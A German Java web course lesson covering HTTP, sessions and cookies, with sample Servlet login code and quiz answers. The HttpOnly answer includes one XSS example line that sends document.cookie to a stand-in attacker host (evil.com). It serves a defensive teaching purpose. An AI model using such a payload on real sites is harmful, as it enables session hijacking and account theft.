Java Fleet Büro, 15:30 Uhr. Tom Fischer sitzt frustriert vor seinem Bildschirm, Cassian kommt mit einem Kaffee vorbei, Nova hört zu.
Tom (seufzt): „Okay, ich verstehe nicht, warum mein Login nicht funktioniert. Der User gibt Username und Passwort ein, ich prüfe es, es ist korrekt – aber beim nächsten Request ist der User ‚vergessen‘.“
Cassian: „Zeig mal… Ah. Du speicherst den User wo?“
Tom: „In einer Variable im Servlet. private String currentUser;„
Cassian (schmunzelt): „Da ist dein Problem. HTTP ist zustandslos. Jeder Request kommt in einem neuen Thread. Du brauchst eine Session.“
Nova: „Wait, ich dachte Servlets sind Singletons? Dann müsste die Variable doch funktionieren?“
Cassian: „Ja, Servlets sind Singletons. Aber genau DAS ist das Problem! Wenn 10 User gleichzeitig einloggen, überschreiben sie sich gegenseitig in der gleichen Variable.“
Tom: „Oh… Thread-Safety. Das hatte ich vergessen.“
Nova: „Also Sessions sind die Lösung? Wie funktioniert das technisch?“
Cassian: „Server erstellt eine eindeutige Session-ID, schickt sie als Cookie an den Browser. Browser sendet den Cookie bei jedem Request mit. Server erkennt: ‚Ah, das ist User XY!'“
Tom: „Und das macht der Webcontainer automatisch?“
Cassian: „Exakt. Du rufst nur request.getSession() auf und hängst Daten mit session.setAttribute() am Session-Scope. Der Container kümmert sich um den Rest – erstellt Session-ID, sendet Cookie, findet Session bei jedem Request.“
Nova: „Aber Cookies können doch manipuliert werden? Ist das sicher?“
Cassian: „Die Session-ID im Cookie ist nur ein Pointer auf Server-Daten. Der User sieht nur eine zufällige ID wie A7B3C9D.... Die echten Daten (Username, Warenkorb, etc.) liegen server-seitig.“
Tom (erleichtert): „Okay, macht Sinn. Ich ändere das auf Sessions. Real talk: Hätte ich vorher das HTTP-Protokoll besser verstanden, wäre mir das nicht passiert.“
Cassian: „Genau deshalb lernen wir die Basics. Ohne Verständnis für Zustandslosigkeit stolperst du bei jedem Web-Framework.“
Nova: „Lowkey bin ich froh, dass wir das so detailliert durchgehen.“
✅ Checkpoint: Hast du es verstanden?
Bevor du weitermachst, teste dich selbst:
Quiz:
Frage 1: Wann verwendest du GET und wann POST?
Frage 2: Was ist der Unterschied zwischen 301 und 302 Redirects?
Frage 3: Wie funktionieren Sessions in Java? Erkläre den kompletten Ablauf.
Frage 4: Was ist der Unterschied zwischen Request-Scope und Session-Scope?
Frage 5: Warum sollten Session-Cookies HttpOnly sein?
Mini-Challenge:
Aufgabe: Implementiere ein einfaches Login-System mit Sessions.
Requirements:
- Login-Formular auf
/login(GET) - Login-Verarbeitung auf
/login(POST) - Geschütztes Dashboard auf
/dashboard - Logout auf
/logout
Hinweise:
- Verwende
request.getSession()nach erfolgreichem Login - Hänge User am Session-Scope mit
session.setAttribute("user", email) - Bei
/dashboard: Prüfe ob User am Session-Scope existiert (sonst Redirect zu Login) - Bei
/logout: Verwendesession.invalidate()
Lösung:
Die Lösung zu dieser Challenge findest du am Anfang von Tag 3 als Kurzwiederholung! 🚀
Alternativ kannst du die Musterlösung im GitHub-Projekt checken: [Link folgt]
Geschafft? 🎉
Dann bist du bereit für die FAQ-Sektion!
LoginServlet.java:
package com.javafleet.auth;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
String error = request.getParameter("error");
out.println("<!DOCTYPE html>");
out.println("<html>");
out.println("<head><title>Login</title></head>");
out.println("<body>");
out.println("<h1>Login</h1>");
if ("true".equals(error)) {
out.println("<p style='color:red'>Invalid credentials!</p>");
}
out.println("<form method='post' action='/HelloPayara/login'>");
out.println(" <input type='email' name='email' placeholder='Email' required><br>");
out.println(" <input type='password' name='password' placeholder='Password' required><br>");
out.println(" <button type='submit'>Login</button>");
out.println("</form>");
out.println("</body>");
out.println("</html>");
}
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
String email = request.getParameter("email");
String password = request.getParameter("password");
// Einfache Validierung (in Produktion: Datenbank + gehashtes Passwort!)
if ("anna@example.com".equals(email) && "password123".equals(password)) {
// Login erfolgreich → Session erstellen
HttpSession session = request.getSession();
session.setAttribute("user", email);
session.setAttribute("loginTime", System.currentTimeMillis());
// Redirect zu Dashboard
response.sendRedirect("/HelloPayara/dashboard");
} else {
// Login fehlgeschlagen → zurück zu Login
response.sendRedirect("/HelloPayara/login?error=true");
}
}
}
DashboardServlet.java:
package com.javafleet.auth;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Date;
@WebServlet("/dashboard")
public class DashboardServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
// Session holen (OHNE neue zu erstellen!)
HttpSession session = request.getSession(false);
// Prüfen ob eingeloggt
if (session == null || session.getAttribute("user") == null) {
// Nicht eingeloggt → Redirect zu Login
response.sendRedirect("/HelloPayara/login");
return;
}
// User ist eingeloggt → Dashboard anzeigen
String user = (String) session.getAttribute("user");
Long loginTime = (Long) session.getAttribute("loginTime");
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("<!DOCTYPE html>");
out.println("<html>");
out.println("<head><title>Dashboard</title></head>");
out.println("<body>");
out.println("<h1>Welcome to your Dashboard!</h1>");
out.println("<p>Logged in as: <strong>" + user + "</strong></p>");
out.println("<p>Login time: " + new Date(loginTime) + "</p>");
out.println("<p>Session ID: " + session.getId() + "</p>");
out.println("<form method='post' action='/HelloPayara/logout'>");
out.println(" <button type='submit'>Logout</button>");
out.println("</form>");
out.println("</body>");
out.println("</html>");
}
}
LogoutServlet.java:
package com.javafleet.auth;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
@WebServlet("/logout")
public class LogoutServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
HttpSession session = request.getSession(false);
if (session != null) {
// Session zerstören
session.invalidate();
}
// Redirect zu Login mit Nachricht
response.sendRedirect("/HelloPayara/login?message=logged-out");
}
}
Testen:
- Starte Payara Server
- Öffne http://localhost:8080/HelloPayara/login
- Login mit
anna@example.com/password123 - Du siehst das Dashboard
- Logout → zurück zu Login
- Versuche http://localhost:8080/HelloPayara/dashboard direkt → Redirect zu Login
</details>
Geschafft? 🎉
Dann bist du bereit für die FAQ-Sektion!
❓ Häufig gestellte Fragen
Frage 1: Muss ich wirklich alle HTTP-Status-Codes kennen?
Nein! Die wichtigsten reichen:
- 2xx (Success): 200 OK, 201 Created, 204 No Content
- 3xx (Redirect): 301 Permanent, 302 Temporary, 304 Not Modified
- 4xx (Client Error): 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found
- 5xx (Server Error): 500 Internal Server Error, 503 Service Unavailable
Die restlichen lernst du bei Bedarf. In 99% der Fälle brauchst du nur diese.
Frage 2: Sessions vs. JWT – was ist besser?
Das kommt auf den Use-Case an:
Sessions (Server-Side):
- ✅ Einfach zu invalidieren (Logout sofort wirksam)
- ✅ Weniger Overhead pro Request
- ❌ Schwierig bei Multi-Server-Setup (braucht Sticky Sessions oder Shared Storage)
JWT (Client-Side):
- ✅ Stateless – kein Server-Speicher nötig
- ✅ Gut für Microservices / APIs
- ❌ Kann nicht invalidiert werden (bis Token abläuft)
- ❌ Größer (im Header bei jedem Request)
Faustregel:
- Klassische Webseite mit Login → Sessions
- REST API für Mobile/SPA → JWT
Frage 3: Wie lange sollte eine Session gültig sein?
Standard in Jakarta EE: 30 Minuten Inaktivität
// In web.xml oder programmatisch: session.setMaxInactiveInterval(1800); // 30 Minuten in Sekunden
Empfehlungen:
- Banking-Apps: 5-15 Minuten
- E-Commerce: 30-60 Minuten
- Social Media: 24 Stunden
- Admin-Panels: 15-30 Minuten
Frage 4: Was passiert mit Sessions bei Server-Neustart?
Standard: Sessions gehen verloren! User müssen sich neu einloggen.
Lösungen:
- Session Persistence: Payara kann Sessions in Datenbank speichern
- Sticky Sessions: Load Balancer schickt User immer zum gleichen Server
- Distributed Sessions: Redis/Hazelcast als Session-Store
Frage 5: Kann ich mehrere Cookies gleichzeitig setzen?
Ja! Einfach mehrfach response.addCookie() aufrufen:
Cookie sessionCookie = new Cookie("JSESSIONID", sessionId);
response.addCookie(sessionCookie);
Cookie prefCookie = new Cookie("language", "de");
response.addCookie(prefCookie);
Cookie themeCookie = new Cookie("theme", "dark");
response.addCookie(themeCookie);
Frage 6: Was ist der Unterschied zwischen getSession() und getSession(false)?
// getSession() - erstellt Session, falls keine existiert HttpSession session = request.getSession(); // → Gibt IMMER eine Session zurück (niemals null) // getSession(false) - erstellt KEINE neue Session HttpSession session = request.getSession(false); // → Gibt null zurück, wenn keine Session existiert
Verwendung:
- Bei Login/Checkout:
getSession()(erstelle Session) - Bei geschützten Pages:
getSession(false)(prüfe ob Session da ist)
Frage 7: Nova meinte, Sessions wären „old school“ und JWT wäre der einzige moderne Weg. Stimmt das?
Lowkey nein. Sessions sind nicht „old school“ – sie sind battle-tested und für viele Use-Cases die bessere Wahl.
Real talk: JWT ist trendy, aber nicht automatisch besser. Die Tech-Szene überhypt gerne neue Patterns. Hier die Facts:
Sessions sind besser wenn:
- Du klassische Server-Side-Rendering machst (JSP, Thymeleaf, etc.)
- Du sofortige Logout-Funktionalität brauchst
- Du sensible User-Daten hast (Banking, Healthcare)
- Du eh nur einen Server oder Sticky Sessions hast
JWT ist besser wenn:
- Du eine Microservice-Architektur hast
- Du REST APIs für Mobile Apps/SPAs baust
- Du Cross-Domain-Auth brauchst
- Du 100% stateless sein willst
Bernd sagt dazu: „JWT ist wie Kubernetes – jeder redet drüber, die wenigsten brauchen’s wirklich. Sessions funktionieren seit 20 Jahren. Use the right tool for the job.“
Honestly: Für diesen Kurs (und die meisten Enterprise-Apps) sind Sessions die richtige Wahl. JWT kommt später im Advanced-Kurs.
📚 Quiz-Lösungen
Hier sind die Antworten zum Quiz von oben:
Frage 1: Wann verwendest du GET und wann POST?
Antwort:
GET verwenden für:
- Daten abrufen (Read-Operationen)
- Idempotente Operationen (mehrfaches Ausführen = gleiches Ergebnis)
- Bookmarkable URLs (Suchresultate, Produktseiten)
- Suchfunktionen
- Filter und Sortierungen
- Navigation
POST verwenden für:
- Daten senden / erstellen (Create/Update-Operationen)
- Login-Formulare (sensible Daten!)
- Nicht-idempotente Operationen (z.B. Bestellung abschicken)
- Große Datenmengen
- Datei-Uploads
- Alles was den Server-Zustand ändert
Faustregel:
- Ändert es was auf dem Server? → POST (oder PUT/DELETE)
- Nur lesen/anzeigen? → GET
- Sensible Daten (Passwörter)? → POST
Beispiele:
✅ GET /products?category=electronics&sort=price ✅ GET /users/123 ✅ POST /login ✅ POST /orders ❌ GET /login?username=anna&password=123 // FALSCH! Passwort in URL!
Frage 2: Was ist der Unterschied zwischen 301 und 302 Redirects?
Antwort:
301 Moved Permanently:
- Permanente Weiterleitung
- Browser und Suchmaschinen cachen die Weiterleitung
- Suchmaschinen updaten ihre Links
- Verwendung: URL hat sich dauerhaft geändert
302 Found (Temporary Redirect):
- Temporäre Weiterleitung
- Browser cacht NICHT
- Suchmaschinen behalten die alte URL
- Verwendung: Post-Redirect-Get Pattern, temporäre Weiterleitungen
Code-Beispiele:
// 301 - Permanent
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY);
response.setHeader("Location", "/new-url");
// 302 - Temporary (Standard bei sendRedirect)
response.sendRedirect("/dashboard"); // Macht automatisch 302
Wann was verwenden:
- Alte URL existiert nicht mehr → 301
- Domain-Umzug → 301
- Post-Redirect-Get nach Form-Submit → 302
- Temporäre Wartungsseite → 302
Frage 3: Wie funktionieren Sessions in Java? Erkläre den kompletten Ablauf.
Antwort:
Der komplette Session-Flow:
- User macht ersten Request (z.B. Login-Seite aufrufen)
- Server erstellt Session:
HttpSession session = request.getSession(); String sessionId = session.getId(); // "ABC123DEF456..." - Server sendet Session-ID als Cookie:
HTTP/1.1 200 OK Set-Cookie: JSESSIONID=ABC123DEF456; Path=/; HttpOnly; Secure - Browser speichert Cookie automatisch
- Bei jedem weiteren Request sendet Browser Cookie MIT:
GET /dashboard HTTP/1.1 Cookie: JSESSIONID=ABC123DEF456 - Server findet Session anhand ID:
HttpSession session = request.getSession(false); if (session != null) { String user = (String) session.getAttribute("user"); // User ist eingeloggt! } - Session-Daten bleiben erhalten über mehrere Requests
- Session endet bei:
- Logout:
session.invalidate() - Timeout (Standard: 30 Minuten Inaktivität)
- Server-Neustart (ohne Persistence)
- Logout:
Wichtig: Der Webcontainer (Payara) macht das Cookie-Handling automatisch! Du musst nur getSession() und setAttribute() verwenden.
Frage 4: Was ist der Unterschied zwischen Request-Scope und Session-Scope?
Antwort:
Request-Scope:
- Lebensdauer: Ein einzelner HTTP-Request
- Verwendung: Daten von Servlet zu JSP weitergeben
- API:
request.setAttribute()/request.getAttribute() - Nach Response: Daten sind WEG
- Beispiel: Fehlermeldung, Formular-Validierung
Session-Scope:
- Lebensdauer: Gesamte User-Session (bis Logout/Timeout)
- Verwendung: User-spezifische Daten über mehrere Requests
- API:
session.setAttribute()/session.getAttribute() - Über mehrere Requests: Daten bleiben ERHALTEN
- Beispiel: User-Login, Warenkorb, Sprachauswahl
Code-Beispiel:
// Request-Scope - nur für DIESEN Request
request.setAttribute("message", "Erfolgreich gespeichert!");
// → JSP kann "message" auslesen
// → Nach Response ist "message" WEG
// Session-Scope - für ALLE Requests dieser Session
HttpSession session = request.getSession();
session.setAttribute("user", "anna@example.com");
// → Bleibt über mehrere Requests erhalten
// → Bis Logout oder Timeout
Wann was verwenden:
- One-Time-Daten (Fehlermeldungen) → Request-Scope
- User-Daten (Login, Preferences) → Session-Scope
Frage 5: Warum sollten Session-Cookies HttpOnly sein?
Antwort:
Ohne HttpOnly (UNSICHER):
// JavaScript kann Cookie lesen!
console.log(document.cookie); // "JSESSIONID=ABC123DEF456"
// Angreifer kann per XSS (Cross-Site Scripting) Session-Cookie stehlen:
// Malicious Script injected via XSS:
fetch('http://evil.com/steal?cookie=' + document.cookie);
// → Angreifer hat jetzt deine Session-ID
// → Kann sich als DU ausgeben (Session Hijacking)
Mit HttpOnly (SICHER):
Cookie cookie = new Cookie("JSESSIONID", sessionId);
cookie.setHttpOnly(true); // ← JavaScript kann Cookie NICHT mehr lesen!
response.addCookie(cookie);
→ document.cookie gibt Session-Cookie NICHT zurück
→ Schutz gegen XSS-Angriffe
Zusätzliche Sicherheits-Flags:
cookie.setSecure(true); // Nur über HTTPS senden
cookie.setAttribute("SameSite", "Strict"); // CSRF-Schutz
Security Best Practices für Cookies:
- ✅
HttpOnly=true– XSS-Schutz - ✅
Secure=true– Nur über HTTPS - ✅
SameSite=Strict– CSRF-Schutz - ✅ Kurze Timeouts für sensible Daten
Real-World-Impact: Ohne HttpOnly kann ein einziger XSS-Bug (z.B. in einem Forum-Post) alle User-Sessions stehlen. Mit HttpOnly ist der Schaden begrenzt.
🎉 Tag 2 geschafft!
Du rockst! 🚀
Real talk: Das war ein dichter Tag. HTTP-Methoden, Status-Codes, Headers, Sessions, Cookies… das ist viel auf einmal!
Das hast du heute gelernt:
- ✅ Alle wichtigen HTTP-Methoden (GET, POST, PUT, DELETE, etc.)
- ✅ HTTP-Status-Codes und wann du welche verwendest
- ✅ HTTP-Headers verstehen und setzen
- ✅ Warum HTTP zustandslos ist und wie das problematisch ist
- ✅ Wie Sessions funktionieren (mit Cookies)
- ✅ Session-API in Java verwenden
- ✅ Request-Scope vs. Session-Scope vs. Application-Scope
- ✅ Cookie-Security (HttpOnly, Secure, SameSite)
Du kannst jetzt:
- Die richtige HTTP-Methode für jede Situation wählen
- HTTP-Status-Codes korrekt setzen
- Sessions für User-Authentication verwenden
- Cookies sicher setzen
- Verstehen, warum HTTP zustandslos ist
Honestly? Das ist RIESIG! Du verstehst jetzt die Mechanik hinter JEDEM Web-Framework (Spring Boot, Jakarta EE, etc.). Alles baut auf diesen Konzepten auf.
Wie geht’s weiter?
Morgen (Tag 3): Servlets & Servlet API
Was dich erwartet:
- Servlet-Lifecycle im Detail (init, service, destroy)
- URL-Mapping (@WebServlet vs. web.xml)
- ServletConfig und ServletContext
- RequestDispatcher (Forward vs. Redirect) – das wird dein Game-Changer für MVC! 🔥
- Filter implementieren (für Auth, Logging, etc.)
- Praktische Servlet-Patterns
Brauchst du eine Pause?
Mach sie! HTTP ist komplex. Lass das Wissen sacken, bevor du weitermachst.
Tipp für heute Abend:
Spiel mit Sessions! Erweitere das Login-System:
- Mehrere User in einer HashMap speichern
- „Remember Me“ Funktion mit Cookies implementieren
- Session-Timeout testen (setze auf 1 Minute)
- Browser Developer Tools: Network-Tab → schau dir die Cookies an!
Learning by doing! 🔧
Feedback?
War dieser Tag zu technisch? Zu viel? Zu schnell?
Schreib uns: Elyndra.Valen@java-developer.online
Dein Feedback hilft uns, den Kurs besser zu machen!
Bis morgen! 👋
Elyndra
elyndra.valen@java-developer.online
Senior Developer bei Java Fleet Systems Consulting
Java Web Basic – Tag 2 von 10
Teil der Java Fleet Learning-Serie
© 2025 Java Fleet Systems Consulting

